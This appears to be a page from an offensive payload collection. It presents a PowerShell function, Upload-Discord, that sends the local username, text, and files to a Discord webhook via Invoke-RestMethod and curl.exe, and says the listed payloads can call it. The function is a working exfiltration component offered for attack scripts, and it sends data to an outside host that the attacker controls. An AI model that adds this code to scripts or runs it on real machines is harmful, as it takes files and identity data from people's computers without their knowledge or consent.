Table of Contents
This function is used to upload either text or other files to your discord via a webhook
This function is used to upload files to your discord.
Just replace $hookurl
with YOUR discord webhook
Now you can use either of the $text
or $file
parameter or both
function Upload-Discord {
[CmdletBinding()]
param (
[parameter(Position=0,Mandatory=$False)]
[string]$file,
[parameter(Position=1,Mandatory=$False)]
[string]$text
)
$hookurl = 'YOUR-DISCORD-WEBHOOK'
$Body = @{
'username' = $env:username
'content' = $text
}
if (-not ([string]::IsNullOrEmpty($text))){
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
}
Upload-Discord -file "file.txt" -text "this is a text file"
or
Upload-Discord -file "image.jpg" -text "this is an iamge"
Listed below are payloads that can use one of these functions: